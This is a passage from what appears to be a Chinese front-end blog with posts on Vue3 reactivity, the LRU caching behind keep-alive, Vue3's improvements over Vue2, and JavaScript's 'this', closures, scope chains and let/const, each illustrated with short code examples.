执行effect.ts中的trigger函数触发依赖、更新依赖。从全局属性targetMap中取出对应对象的depsMap，然后再根据被修改属性取出对应的dep。把dep中的一个或多个ReactiveEffect放入effects数组中。然后执行triggerEffects(createDep(effects)); 将 effects 中所有 effect 进行执行， effect.run() 。（因为 effect 实际上就是ReactiveEffect实例对象。）实际上就是执行了 effect 内部的 fn() => (dummy = counter.num)，在 run 方法执行的过程中会将当前ReactiveEffect实例放到全局数据activeEffect上，同时counter.num会再次触发 proxy 对象的get操作。
触发get操作之后又会再次触发track收集依赖，此时会更新 targetMap 中对应属性的 dep。dep.add(activeEffect); ，若是新增的依赖，会将之前 set 时存放在全局变量activeEffect上的ReactiveEffect实例新增到 dep 上。

通过 LRU 理解 Vue3 中 keep-alive 部分源码

Sun, 20 Feb 2022 00:00:00 GMT

keep-alive 标签包裹的组件在切换时可以保留状态避免重新渲染。

但是缓存不能是无限的，否则会挤爆内存，有三种形式去进行缓存的淘汰。

1、 FIFO 队列。这个更适合做任务，不适合做组件的。

2、LFU。统计每个任务出现的次数，来淘汰出现次数较少的。缺点是比较耗费计算资源。

3、LRU 缓存。全称 Least Recently Used。也就是最近最少使用。

把所有元素按最近使用情况排序，比如已经到达固定存储量，添加新元素时需要判断当前缓存中是否存在相同元素，若有相同元素则将相同元素放到最后(更新)，若无相同元素则添加该元素并删除第一个元素(也就是最早添加的)。

例子：最大长度为 4 的缓存

当前缓存	添加元素	更新后缓存
1，2，3，4	2	1，3，4，2
1，2，3	4	1，2，3，4

组件缓存用的最多的就是 LRU 缓存。(LRU Cache)

源码文件对应代码段#

在 Vue 的源码文件中的 packages/runtime-core/src/components/KeepAlive.ts 中就有用到，采用的是 set 的实现方式。

setup 函数

声明 cache(Map)和 keys(Set)#

Image.png

pruneCacheEntry（超出大小时，用于淘汰缓存）#

若新增时超出缓存最大长度，需要用 pruneCacheEntry 删除 keys 中最早添加的 key 对应到 cache 中的数据。

Image.png

在组件挂载或者更新时,向 cache 中新增数据#

渲染函数(return ()=> {…})中为 pendingCacheKey 赋值

Image.png

执行 render 的时候，pendingCacheKey 会被赋值为 vnode.key

在组件挂载或者更新(onMouted, onUpdated)时，向 cache 中新增 <key, vnode>

Image.png

setup 函数中 return 的渲染函数

获取子节点 vnode 和 key#

获取到当前 keep-alive 包裹的子节点

Image.png

获取到当前节点的 key 值

Image.png

通过 cachedNode 判断#

通过 cachedNode(cache 中是否已经有这个 key 对应的 vnode)来判断是否当前被组件是否已被缓存过。

若以被缓存过，则更新被缓存的节点到 keys 的末尾(更新)
若未被缓存过
1. 向 keys 中添加当前 node 的 key
2. 判断是否超出缓存最大值，若超出缓存最大值则调用 pruneCacheEntry 传入最早 add 进 keys 的 key 作为参数，在 pruneCacheEntry 中 cache 根据入参的 key 来删除 keys 和 cache 对应数据。

Image.png

总结：

可以看出是通过 cache(map)和 keys(set)配合实现了缓存功能。本质上可以说实际上是对 keys 实现了 LRU 算法，只是通过 keys 中的 key 确保 cache 中缓存数据没问题。

在 setup 函数返回的渲染函数中。

获取当前 keep-alive 的子节点以及 key。
当缓存中存在与当前组件相同的 key 时，keys 将该数据更新到末尾(将相同 key 的数据先删除后添加，达到更新的效果)。
若无相同 key 的节点已缓存，则直接向 keys 中 add 当前的 key。同时需要判断是否超过缓存最大长度，若超过长度则通过 pruneCacheEntry 函数淘汰(删除)最早 add 进 keys 的 key 和该 key 在 cache 中对应的数据。

当组件挂载或更新(onMounted 和 onUpdated)时触发 cacheSubtree，给 cache 添加当前 key 和 vnode。

Map 实现#

通过 has 判断是否存在相同的数据(也就是判断当前节点和缓存过的节点是否相同)。
通过 map.keys().next().value 可以获取到第一位元素(这是由于 map.keys()返回的是一个迭代器，可以通过 next 拿到第一个值)可以获取到 map 中最先放入的 key。也就意味着可以通过 delete 这个 key 来淘汰最早 set 进去的 key。

1
let cache = new Map();
2
cache.set("a", 1);
3
cache.set("b", 2);
4
cache.set("c", 3);
5
console.log(cache.keys().next().value); // a 也就是最先放入的key

set 新的 key 是有序的，可以删除掉相同的 key 然后再次 set 达到将相同值更新到 map 末尾的效果。

满足实现 LRU 算法的条件。以下是 leetcode 算法题通过 Map 的实现。

LRU 算法题#

力扣

1
var LRUCache = function (capacity) {
2
  this.cache = new Map();
3
  // max赋值为缓存最大大小
4
  this.max = capacity;
5
};
6

7
LRUCache.prototype.get = function (key) {
8
  if (this.cache.has(key)) {
9
    // 用临时变量存储键值
10
    let tmp = this.cache.get(key);
11
    // 删除原来的键和值，再次添加，达到更新到末尾的效果
12
    this.cache.delete(key);
13
    this.cache.set(key, tmp);
14
    return tmp;
15
  }
16
  return -1;
17
};
18

19
LRUCache.prototype.put = function (key, value) {
20
  if (this.cache.has(key)) {
21
    this.cache.delete(key);
22
    // 当当前cache大小超出最大时需要有缓存淘汰机制
23
  } else if (this.cache.size >= this.max) {
24
    // 删除map头部元素，也就是最开始set的key
25
    this.cache.delete(this.cache.keys().next().value);
26
  }
27
  this.cache.set(key, value);
28
  return;
29
};

展开收起

Vue3 特性以及相较于 Vue2 的优化点

Wed, 29 Dec 2021 00:00:00 GMT

Vue3 特性#

RFC 机制可以让所有人参与 Vue 新语法的讨论
Vite 让开发调试变得更加丝滑
Vue3性能更好(渲染/打包)，体积更小，内存占用减少
组合式 API可以更好的组织代码(避免 Vue2 上蹿下跳式开发)，响应式基于 Proxy，且可以独立使用。
Vue3 新增 Fragment、Teleport 和 Suspense 组件
Vue3重写了虚拟 DOM 的实现，让 diff 更快。重写了 Tree-shaking，减少打包体积。
对于 Vue3，由于模块分离，便于二次开发，可以通过自定义渲染器来开发各种跨端应用
Vue3 拥抱TypeScript，更好的可维护性

Vue2 的缺陷和 Vue3 的改进#

引入 TypeScript 类型支持#

Vue2 基于 Flow.js 来做类型校验，而现在整个社区都在采用 TS 来构建基础库。因此 Vue3 不再使用 FaceBook 的 flow.js，用 TS 重构了，引入类型系统可以方便代码提示，同时可以让代码更健壮。

响应式系统的进一步完善#

Vue2 采用 defineProperty 的形式

defineProperty :

1
const obj = {};
2
// 监听obj上的text属性
3
Object.defineProperty(obj, "text", {
4
  get: function () {
5
    console.log("get val");
6
  },
7
  set: function (newVal) {
8
    console.log("set val:" + newVal);
9
    document.getElementById("input").value = newVal;
10
    document.getElementById("span").innerHTML = newVal;
11
  },
12
});
13

14
const input = document.getElementById("input");
15
input.addEventListener("keyup", function (e) {
16
  obj.text = e.target.value;
17
});

展开收起

defineProperty 是对属性进行拦截，因此 Vue2 所有的数据需要在 data 中声明
但是如果 data 中的数据为引用类型时，对数据的操作不会改变地址，比如数组虽然可以通过 Vue 重写过的 push 来实现视图更新，但是对于数组的长度修改还是无法实现，因此需要$set 等 API。以及对对象属性删除时也监听不到，需要额外去补充。

而 Vue3 用的是 Proxy+Reflect：可以深度监听,但是不支持 IE11 以下浏览器

1
const input = document.getElementById("input");
2
const p = document.getElementById("p");
3
const obj = {};
4

5
const newObj = new Proxy(obj, {
6
  get: function (target, key, receiver) {
7
    console.log(`getting ${key}!`);
8
    return Reflect.get(target, key, receiver);
9
  },
10
  set: function (target, key, value, receiver) {
11
    console.log(target, key, value, receiver);
12
    if (key === "text") {
13
      input.value = value;
14
      p.innerHTML = value;
15
    }
16
    return Reflect.set(target, key, value, receiver);
17
  },
18
});
19

20
input.addEventListener("keyup", function (e) {
21
  newObj.text = e.target.value;
22
});

展开收起

真正的代理，拦截数据，但是对于数据格式不关心，统一都拦截(属性删除也可以)，还可以监听 Set, Map 等，这是 Vue2 无法做到的。
但是无法兼容 IE11 以下的浏览器。

上窜下跳 Option 式写法变为逻辑分离的 Composition#

Options API 有很严重的问题

所有数据都挂载在当前实例的 this 上，这样的写法不利于 TypeScript 的类型推导，而且不好做 Tree-shaking(消除无用模块代码)清理代码。
代码行数多了以后需要反复上下横跳，开发起来体验比较痛苦。
代码不利于复用，Vue2 的组件比较难抽离通用逻辑，用 mixin 的话还会有命名冲突问题。

Composition API 的好处：

所有 API 都是通过 import 引入的，用到的功能才 import 进来，利于 Tree-shaking，便于优化包的大小。
代码易于复用，可以将一个功能所有的 methods，data 封装到一个独立函数中，复用变的容易。
Composition API 新增的 return 等语句，使用<script setup>的特性可以不用写。

Options 和 Composition 的对比图

Image.png

可以看到 Options API 当你处理一段功能逻辑时得上下横跳，尤其是代码段多起来以后非常烦。而 Vue3 的 Composition API 则在功能上是分离的，逻辑更清晰，代码也会更清爽。

对比一下 Vue2 使用的 Options API 和 Vue3 推荐的 Composition API

Image.png

可以看到 Composition API 显的有一些繁琐，不如 Options API 那样分方法、数据之类的清晰，但是可以发现，业务逻辑被分离了，可以一行注释将一部分业务逻辑包裹起来，这样更便于后期维护和迭代。

新的内置组件#

Fragment: Vue3 不需要像 Vue2 一样 template 下必须有唯一根节点。

Teleport: 允许组件渲染在别的元素内，主要在开发弹窗组件的时候特别有用。

Suspense: 异步组件(猜测和 React 的相似)，更便于开发有异步请求的组件。

Vite 新一代工程化工具#

复杂项目如果通过 webpack 预打包放内存中调试的话需要花费很多时间，而 vite 就是为了解决这样的时间消耗。

Vite 是基于现代浏览器默认支持 ES6 中 import 语法来实现的。具体是在调试环境下，不需要全部预打包，仅将首页依赖的文件依次通过网络请求去获取，让整个开发体验变得很好，对于复杂项目可以做到秒级调试和热更新。

::webpack 和 vite 对比::

webpack 需要将所有路由的依赖打包完毕后才可以调试

Image.png

vite 一开始仅需要加载首页的依赖模块，然后根据跳转路由时按需加载

Image.png

从执行上下文的角度讲解 this

Sat, 06 Nov 2021 00:00:00 GMT

为什么要有 this?#

先看一段代码

1
var bar = {
2
  myName: "time.geekbang.com",
3
  printName: function () {
4
    console.log(myName);
5
  },
6
};
7
function foo() {
8
  let myName = "极客时间";
9
  return bar.printName;
10
}
11
let myName = "极客邦";
12
let _printName = foo();
13
_printName();
14
bar.printName();

按照常理来说，大多数语言在执行 bar.printName()的时候会输出 bar 对象中的 myName 而不是全局的 myName.而 JavaScript 却输出的是全局中的变量，这是因为 JavaScript 语言的作用域链是由词法作用域决定的，而词法作用域是由代码结构决定的。

对象内部的方法要使用对象内部的属性是一个普遍的需求，但是 JavaScript 的作用域机制并不支持这一点，基于这个原因，JavaScript 又有一套 this 机制来处理。

如何让对象中的函数能读取到对象中的属性呢，改造一下上述代码

1
var bar = {
2
  myName: "time.geekbang.com",
3
  printName: function () {
4
    console.log(this.myName);
5
  },
6
};
7
let myName = "全局作用域";
8
bar.printName();

这样就可以获取到了。

首先你需要明白一件事，就是作用域链和 this 是两套不同的系统，两者之间没有太多的联系

this 是什么？#

之前有说执行上下文中包括变量环境，词法环境和 outer，其实还包括了 this。

image-20210808154914549.png

this 和执行上下文是绑定的，每个执行上下文中都有一个 this。

执行上下文包括三种:

全局执行上下文
函数执行上下文
eval 执行上下文

因此对应的 this 就有三种

全局执行上下文中的 this
函数执行上下文中的 this
eval 中的 this

eval 用的不多，主要用到的是全局执行上下文中的 this 和函数执行上下文中的 this

全局执行上下文中的 this#

全局执行上下文中的 this 是什么，可以在控制台中打印一下

1
console.log(this);

实际输出的就是 window 对象，结论就是全局执行上下文中的 this 是指向 window 对象的，这也是 this 和作用域链唯一交点，作用域链最底端包含了 window 对象，全局执行上下文中的 this 也是指向 window 对象。

函数执行上下文中的 this#

1
function foo() {
2
  console.log(this);
3
}
4
foo();

在 foo 函数内部打印出 this 值，发现函数执行上下文和全局执行上下文中的 this 都是指向 window 对象的。那可以设置函数执行上下文的 this 指向其他对象呢？是可以的，有三种方法可以用来设置函数执行上下文的 this 指向。

通过函数的 call 方法设置函数的 this 指向#

可以通过 call 方法来设置函数的 this 指向，并立刻执行该函数，比如以下代码

1
function foo() {
2
  this.name = "foo";
3
}
4
fooObj = {
5
  name: "fooObj",
6
};
7
foo.call(fooObj);
8
console.log(fooObj); //{name: "foo"}

一般来说这个 this 是指向 window 的，可是 call 函数改变了 this 的指向将函数 foo 的 this 指向到了 fooObj，从而使 fooObj 的 name 属性值从 fooObj 变为了 foo。

通过对象调用方法设置 this 指向当前对象#

1
var Obj = {
2
  name: "Obj",
3
  getThis: function () {
4
    console.log(this);
5
  },
6
};
7
Obj.getThis(); //{name: "Obj", getThis: ƒ}

可以看到这样输出的 this 是指向当前对象的，可以得出一个结论，使用对象来调用其内部方法，这个方法的 this 是指向对象本身的。

也可以认为是 JavaScript 引擎在执行 myObject.showThis 的时候将其转换成了

1
obj.getThis.call(obj);

那如果将对象中的函数赋给一个全局变量会怎么样。

1
var Obj = {
2
  name: "Obj",
3
  getThis: function () {
4
    console.log(this);
5
  },
6
};
7
var foo = Obj.getThis;
8
foo();

此时获取到的又是 window 对象了。

有两个结论

全局环境中调用一个函数，函数内部的 this 指向全局变量 window
通过一个对象来调用其内部的方法，该方法的执行上下文中的 this 指向对象本身。

也就是说如果是在全局执行一个函数，那这个函数 this 就指向全局，但如果是对象里面，那这个 this 就指向对象，只和这个函数执行的调用者有关。

数组/对象通过原型链调用方法将this指向调用对象#

1
Array.prototype.logArr = function () {
2
  console.log(this);
3
};
4
let arr = [1, 2, 3];
5
arr.logArr(); // [1,2,3]

在 Array 原型上声明方法,然后数组去调用方法时发现自己身上没有,就找到了原型身上,此时原型上的方法中的 this 就指向了当前的数组。

通过构造函数中设置#

比如说 new 一个对象

1
function Person() {
2
  this.name = "P";
3
}
4
var p1 = new Person();
5
console.log(p1); //Person {name: "P"}

你知道 JavaScript 引擎在 new 一个对象的过程中做了什么吗？

首先先创建一个空对象 p1，设置空对象的__proto__为构造函数的prototype
调用 Person.apply(p1, …args)，这样当 Person 的执行上下文创建的时候 this 就指向空对象 p1, args是构造函数入参
执行 Person 方法，因为此时 this 指向 p1，因此 p1 的 name=‘p’
返回 p1 这个对象

1
function myNew(Constructor, ...args) {
2
  // 1. 创建新对象，原型指向构造函数的 prototype
3
  const obj = Object.create(Constructor.prototype);
4
  // 2. 执行构造函数，this 绑定到新对象
5
  const result = Constructor.apply(obj, args);
6
  // 3. 如果构造函数返回对象，则返回该对象，否则返回新对象
7
  return (typeof result === 'object' && result !== null) ? result : obj;
8
}

this 的设计缺陷#

1.嵌套函数的 this 不会继承外层函数的 this#

1
var Obj = {
2
  name: "Obj",
3
  getThis: function () {
4
    console.log(this);
5
    function bar() {
6
      console.log(this);
7
    }
8
    bar();
9
  },
10
};
11
Obj.getThis(); //{name: "Obj", getThis: ƒ}
12
//Window ...

加工了一下上面的代码，在 getThis 中添加了一个方法 bar，这个 bar 的 this 指向是什么？你可能会觉得这个 this 指向的是 Obj，可是实际上函数 bar 的 this 指向的是全局的 window 对象，而 getThis 的 this 指向的是 Obj。这是 JavaScript 中很让人迷惑的事情，也是很多问题的源头。

如何解决这样的问题呢？怎么让 bar 中可以有变量指向 Obj？

一种方法可以将 getThis 中的 this 存储到一个 self 变量然后放到 bar 中#

1
var Obj = {
2
  name: "Obj",
3
  getThis: function () {
4
    console.log(this);
5
    self = this;
6
    function bar() {
7
      self.name = "bar";
8
      console.log(self);
9
    }
10
    bar();
11
  },
12
};
13
Obj.getThis(); //{name: "Obj", getThis: ƒ}
14
//{name: "bar", getThis: ƒ}

此时的 bar 的 self 指向了 Obj，修改 self 中的 name，让 Obj 也改变了，这个方法的本质是把 this 体系转换成了作用域体系。因为执行到 bar 的时候，bar 会沿着作用域链找 self 然后找到 getThis 上的 self，又因为 getThis 中将 this 赋值给了 self，所以就相当于 bar 取到了 getThis 的 this，这个 this 指向就是 Obj。

另一种方法是用 ES6 中的箭头函数来解决这个问题#

1
var myObj = {
2
  name: "Obj",
3
  showThis: function () {
4
    console.log(this);
5
    var bar = () => {
6
      this.name = "bar";
7
      console.log(this);
8
    };
9
    bar();
10
  },
11
};
12
myObj.showThis();
13
console.log(myObj.name);
14
console.log(window.name);

这样同样达到了我们想要的嵌套函数获取到最外层对象的目的。这是因为 ES6 中的箭头函数并不会创建执行上下文，也就代表着箭头函数没有自己的 this，箭头函数的 this 会从其外部函数获取。

想要让嵌套函数获取最外层对象，总结就是两种方式

可以将外层函数的 this 保存成变量，让嵌套的函数获取该变量
可以将嵌套函数写成箭头函数，让其去获取外层函数的 this

2.普通函数的 this 默认指向全局对象 window#

上文有

1
function foo() {
2
  console.log(this);
3
}
4
foo();

就是这样会输出 window 对象。

在实际工作中，我们并不希望函数的执行上下文中的 this 默认指向全局对象，这样会造成一些误操作。如果要让函数执行上下文中的 this 指向某个对象，最好的方式是通过 call 方法来调用。

在 JavaScript 严格模式下也可以解决，默认执行一个函数，其函数执行上下文中的 this 值是 undefined

1
"use strict";
2
function foo() {
3
  console.log(this);
4
}
5
foo(); //undefined

一个问题，想实现 updateInfo 可以改变 userInfo,这段代码有什么问题

1
let userInfo = {
2
  name: "jack.ma",
3
  age: 13,
4
  sex: male,
5
  updateInfo: function () {
6
    //模拟xmlhttprequest请求延时
7
    setTimeout(function () {
8
      this.name = "pony.ma";
9
      this.age = 39;
10
      this.sex = female;
11
    }, 100);
12
  },
13
};
14

15
userInfo.updateInfo();

展开收起

问题在于 setTimeout 里的回调函数还是嵌套函数，需要改成箭头函数，这样才能找到正确的 this 值。

学自：https://time.geekbang.org/column/article/128427

闭包解析

Tue, 02 Nov 2021 00:00:00 GMT

本文主要是从两个方面解析闭包：作用域、内存

作用域角度理解闭包#

闭包产生的本质是当前环境中存在指向父级作用域的引用。

要理解闭包的话需要你理解变量环境，词法环境和作用域链的概念。

上一段代码

1
function foo() {
2
  var myName = "极客时间";
3
  let test1 = 1;
4
  const test2 = 2;
5
  var innerBar = {
6
    getName: function () {
7
      console.log(test1);
8
      return myName;
9
    },
10
    setName: function (newName) {
11
      myName = newName;
12
    },
13
  };
14
  return innerBar;
15
}
16
var bar = foo();
17
bar.setName("极客邦");
18
bar.getName();
19
console.log(bar.getName());

展开收起

当执行到 return innerBar 的时候调用栈是什么样

image-20210807210534064.png

由代码可知 innerBar 是一个对象，包含了 getName 和 setName 两个方法，这两个方法都是在 foo 函数内部定义的，这两个方法使用了 myName 和 test1 这两个变量。

根据词法作用域的规则，内部函数 getName 和 setName 总是可以访问它们的外部函数 foo 中的变量，所以当 innerBar 对象返回给全局变量 bar 的时候，虽然此时 foo 函数以及执行完毕，但是 getName 和 setName 函数还是可以使用 foo 函数中的变量 myName 和 test1。所以当 foo 执行完毕后，调用栈变成了：

image-20210807211401970.png

可以看到 foo 执行完毕，他的执行上下文弹出了，可是留下了一坨东西，两函数用到的这两个变量依然还在内存中，就好像是专门为 setName 和 getName 准备的一个专属背包(这个背包里放的是这两个函数用到的，没用到的比如 test2 就没有)，无论在哪里调用了 setName 和 getName，他们都会从这个背包里拿东西和操作。这个专属背包，除了 setName 和 getName 之外其他地方是无法访问的，可以把这个背包称为 foo 函数的闭包。

那闭包是如何使用的，当执行到 bar.setName 方法中的 myName = “极客邦”的时候，JavaScript 会沿着当前 setName 的执行上下文->foo 的闭包->全局执行上下文的顺序来查找 myName 变量。此时调用栈如下图

image-20210807221122271.png

当然 getName 也是从 foo 闭包中获取。

从开发者工具中也能查看到闭包的情况

image-20210807221706655.png

image-20210807221756546.png

Global 代表全局执行上下文，Scope 中体现的就是作用域链，从上到下。

结论<可以给闭包下一个定义了>。在 JavaScript 中，根据词法作用域的规则，内部函数总是可以访问外部函数中声明的变量，当通过调用一个外部函数返回内部函数后，即使外部函数执行完毕，但是内部函数引用外部函数的变量依然保存在内存中，我们把这些变量的集合称为闭包，比如外部函数是 foo 函数，那这些变量的集合就称为 foo 函数的闭包。

那闭包该如何回收呢？什么时候闭包才会被销毁，因为闭包如果使用不正确，很容易造成内存泄漏的，通常，如果引用闭包的函数是一个全局变量，那么闭包会一直存在直到页面关闭；但如果这个闭包以后不再使用的话，就会造成内存泄漏。

内存泄漏：程序中已动态分配的堆内存由于某种原因程序未释放或无法释放，造成系统内存的浪费，导致程序运行速度减慢甚至系统崩溃等严重后果。

解决方法：如果引用闭包的函数是局部变量，等函数销毁之后，下次 JavaScript 引擎执行垃圾回收的时候，判断闭包这部分不使用了，JavaScript 引擎的垃圾回收期就会回收这块内存。

内存角度讲解闭包#

作用域内的原始类型数据会被存储到栈空间，引用类型则会被存储到堆空间。

引例

1
function foo() {
2
  var myName = "极客时间";
3
  let test1 = 1;
4
  const test2 = 2;
5
  var innerBar = {
6
    setName: function (newName) {
7
      myName = newName;
8
    },
9
    getName: function () {
10
      console.log(test1);
11
      return myName;
12
    },
13
  };
14
  return innerBar;
15
}
16
var bar = foo();
17
bar.setName("极客邦");
18
bar.getName();
19
console.log(bar.getName());

展开收起

首先盘一下执行流程#

首先先创建全局执行上下文并压入调用栈中
- 全局执行上下文
  - 变量环境：bar = undefined foo(){…}
  - 词法环境：空
执行 foo，将返回的 innerBar 给 bar
1. 执行前首先会编译 foo 函数。创建一个空的执行上下文。
2. JavaScript 引擎对 foo 的内部函数做一次词法扫描，首先是 setName 函数，发现函数内部引用了 foo 函数的 myName，由于是内部函数引用了外部函数的变量，因此 JavaScript 引擎判断这是一个闭包，因此就会在堆空间中创建一个“closure(foo)”指向的对象（这是一个内部对象，JavaScript 是无法访问的）
3. 接着到另一个内部函数 getName，JS 引擎接着词法扫描，发现这个内部函数还引用了外部的 foo 函数的 test1，于是 JS 引擎又将 test1 添加到了“closure(foo)”对象中，这时候堆中的“closure(foo)”对象包含了 myName 和 test1 两个变量。
4. 由于 test2 并没有被内部函数引用，所以 test2 依然保存在调用栈中 foo 执行上下文的词法环境中。
  
  此时的 foo 执行上下文

image-20210811234914948.png

当 return 返回对象 innerBar 之后，foo 的执行上下文弹出调用栈，但是由于返回的对象 innerBar 存在指向其父级作用域的引用，产生了闭包 closure(foo)，还依然存在在堆空间中。
所以当执行到bar.setName("极客邦");bar.getName();依然可以访问到 closure(foo)这个闭包对象里的属性。

总结#

产生闭包的核心有两步：

第一步是需要预扫描内部函数；

第二步是把内部函数引用的外部变量保存到堆中。

当前环境存在指向父级作用域的引用。也就是子函数用到了父级作用域链上的东西。

作用域链查找

Tue, 02 Nov 2021 00:00:00 GMT

词法作用域#

词法作用域就是根据函数的声明位置来决定的，所以词法作用域是静态作用域。

在每个执行上下文的变量环境中，都包含了一个外部引用，用来指向外部的执行上下文，我们把这个外部引用称为 outer。

1
function bar() {
2
  console.log(myName);
3
}
4
function foo() {
5
  var myName = "极客邦";
6
  bar();
7
}
8
var myName = "极客时间";
9
foo();

这段代码中函数执行上下文通过 outer 指向的执行上下文找 myName

image-20210808153718973.png

下面这个函数你认为应该输出 Q 还是 A 呢？

1
//例1
2
function bar() {
3
  return myName;
4
}
5
function foo() {
6
  var myName = "Q";
7
  return bar();
8
}
9
var myName = "A";
10
foo();

那再换一种写法,这个该输出 Q 还是 A 呢？

1
//例2
2
function foo() {
3
  var myName = "Q";
4
  function bar() {
5
    return myName;
6
  }
7
  return bar();
8
}
9
var myName = "A";
10
foo();

答案是例 1 输出 A，例 2 输出 Q。为什么会这样呢，可以看到两段代码最主要的区别就是 function bar 的声明位置。这里需要引入一个概念叫做词法作用域，词法作用域决定了作用域链，作用域链就是函数查找变量的一条链子。

词法作用域：词法作用域是指作用域是由代码中函数声明的位置(对应上面也就是 bar()的声明位置)决定的，因此词法作用域是静态的作用域，通过它就可以预测代码在执行过程中如何查找标识符(在上面的意思就是如何找变量 myName)

什么叫根据函数声明的位置决定函数的作用域，就拿例 2 来说

image-20210802222856007.png

image-20210802223957303.png

bar 的函数作用域就是粉色框部分，而 foo 的函数作用域就是蓝色框部分，而全局作用域则是红色框框起来的部分。作用域链为上图

再来分析例 1

image-20210802223232200.png

image-20210802223914770.png

bar 作用域依旧是粉色，foo 作用域依旧是蓝色，全局作用域是红色，但是，此时 bar 已经不是在 foo 中定义的了，因此作用域链跟上面不同了。

作用域链就是函数查找变量的链路，这也就解释了为什么例 1 会输出 A，因为 bar 先找自己发现没有 myName，就直接去全局作用域找的。而例 2 输出 Q 是因为 bar 是在 foo 作用域中先找的，找到然后就输出，当然如果例 2 中 foo 中没有找到就会沿着作用域链找到全局作用域中的 myName，检验一下

1
function bar() {
2
  return myName;
3
}
4
function foo() {
5
  return bar();
6
}
7
var myName = "A";
8
foo(); //A

结论：再次强调词法作用域是根据函数声明位置决定的，也就是说词法作用域是在代码编译阶段就决定好的，和函数的调用位置没有关系。

块级作用域中的变量查找#

看一段代码

1
function bar() {
2
  var myName = "极客世界";
3
  let test1 = 100;
4
  if (1) {
5
    let myName = "Chrome浏览器";
6
    console.log(test);
7
  }
8
}
9
function foo() {
10
  var myName = "极客邦";
11
  let test = 2;
12
  {
13
    let test = 3;
14
    bar();
15
  }
16
}
17
var myName = "极客时间";
18
let myAge = 10;
19
let test = 1;
20
foo();

展开收起

压入全局上下文：变量环境 var myName = “极客时间” 词法环境 test = 1 myAge = 10

执行 foo()

压入 foo 执行上下文 : 变量环境 myName = “极客邦” 词法环境 test = 2 test = 3 叠在上层(后压入的，执行完块({}包裹的代码)就被弹出)

执行 bar()

压入 bar 执行上下文：变量环境 myName = “极客世界” 词法环境 test1 = 100 myName = “Chrome 浏览器”(if 代码块后压入)

查找过程 1，2，3，4，5，先找当前作用域下的词法环境，然后是变量环境，父作用域的词法环境，变量环境。

image-20210807203022977.png

输出结果为 1，因为 bar 的作用域链就是 bar->全局。

let 和 const 以及作用域

Fri, 29 Oct 2021 00:00:00 GMT

在 ES6 以前，ES 的作用域只有两种：全局作用域和函数作用域。ES6 出现后，又新增了块级作用域。

全局作用域中的对象在代码中的任何地方都能访问，其生命周期伴随着页面的生命周期。
函数作用域就是在函数内部定义的变量或者函数，并且定义的变量或者函数只能在函数内部被访问。函数执行结束之后，函数内部定义的变量会被销毁。
块级作用域就是使用一对大括号包裹的一段代码，比如函数、判断语句、循环语句，甚至单独的一个{}都可以被看作是一个块级作用域。

1
//if块
2
if (1) {
3
}
4
//while块
5
while (1) {}
6
//函数块
7
function foo() {}
8
//for循环块
9
for (let i = 0; i < 100; i++) {}
10
//单独一个块
11
{
12
}

变量提升导致变量覆盖问题#

JavaScript 的块级作用域是和其他语言不同的，变量有可能被覆盖掉

比如用 C 语言写这样一段代码

1
char* myname = "极客时间";
2
void showName() {
3
  printf("%s \n",myname);
4
  if(0){
5
    char* myname = "极客邦";
6
  }
7
}
8
int main(){
9
   showName();
10
   return 0;
11
}

C 语言会输出极客时间，也就是外部的全局变量。可如果用 JavaScript 来实现就会出问题，代码如下

1
var myname = "极客时间";
2
function showName() {
3
  console.log(myname);
4
  if (0) {
5
    var myname = "极客邦";
6
  }
7
  console.log(myname);
8
}
9
showName();

让我们来看生成好的调用栈内容

image-20210807124644046.png

当执行 showName()中的可执行代码的时候console.log(myname);问题就出现了，此时因为变量提升，showName 的变量环境中已经有一个 myname=undefined 了，因此console.log(myname);就会从当前函数作用域中拿变量值，最终导致输出结果就是 undefined，和 C 语言以及大多数支持块级作用域的语言结果完全不同。

变量提升导致本该销毁的变量没有被销毁#

看下面这段代码

1
function foo() {
2
  for (var i = 0; i < 7; i++) {}
3
  console.log(i);
4
}
5
foo();

在其他语言中，for 循环结束之后，i 就应当被销毁了，但是在 JavaScript 代码中，i 的值并没有被销毁，最后打印出来是 7。这也是因为变量提升，因为在创建执行上下文的时候，变量 i 已经被提升了，因此在 for 循环结束后，i 并没有被销毁。

那这些问题该如何解决呢？

ES6 引入 let 和 const 解决#

为了解决这些问题，ES6 引入了 let 和 const 关键字，从而使 JavaScript 也能和其他语言一样有块级作用域。

1
let x = 5;
2
const y = 6;
3
x = 7;
4
y = 9; //const声明的变量不能被修改 Uncaught TypeError: Assignment to constant variable.

两者都可以生成块级作用域，唯一不同的是 const 声明的变量的值是不能被改变的。

那是如何解决问题的呢

改造前的存在变量提升的代码#

1
function varTest() {
2
  var x = 1;
3
  if (true) {
4
    var x = 2;
5
    console.log(x); //2
6
  }
7
  console.log(x); //2
8
}

如果是其他语言的块级作用域，那么第二个 console.log(x)应当是输出 if 外部声明的 x=1 的 1，因为块内的x=2应当用完就销毁。但是 JavaScript 不是这样，当前函数作用域的变量环境中，首先是变量提升

image-20210807130923919.png

然后执行可执行代码x = 1和x = 2，后面的x=2覆盖了前面的x=1，导致最终后面的两个 console.log(x)的输出结果都是 2。

改造后的代码#

就是将 var 替换成 let

1
function varTest() {
2
  let x = 1;
3
  if (true) {
4
    let x = 2;
5
    console.log(x); //2
6
  }
7
  console.log(x); //1
8
}

这样就和大多数支持块级作用域的语言结果一致了，这是因为 let 关键字支持块级作用域，在编译阶段，JavaScript 就不会把 if 块中用 let 关键字声明的变量放到变量环境中，这样函数内部 if 外部就看不到 if 块内部声明的变量了。这样第二个也就是 if 块外的 console.log(x)就不会输出 2 了。这样就符合编程习惯了：作用域块内声明的变量不影响块外的变量。

支持块级作用域背后原理#

上面并没有细说在执行上下文阶段块级作用域是如何实现的，也就是 ES6 如何既支持变量提升，又支持块级作用域呢？

1
function foo() {
2
  var a = 1;
3
  let b = 2;
4
  {
5
    let b = 3;
6
    var c = 4;
7
    let d = 5;
8
    console.log(a);
9
    console.log(b);
10
  }
11
  console.log(b);
12
  console.log(c);
13
  console.log(d);
14
}
15
foo();

展开收起

image-20210807141916003.png

内部称为内部作用域块，外圈称为函数作用域块。

分析一下流程，第一步还是编译并创建执行上下文

image-20210807140732943.png

通过 var 声明的变量，在编译阶段会放到当前函数执行上下文的变量环境中。
通过 let 声明的变量，在编译阶段会被存放到词法环境(栈结构)中。
在函数作用域内的作用域块内部，通过 let 声明的变量还没有到词法环境中。

接着执行代码，当执行到代码块内部的时候，a 被赋值为 1，词法环境中的 b 被赋值为 2：

image-20210807141546291.png

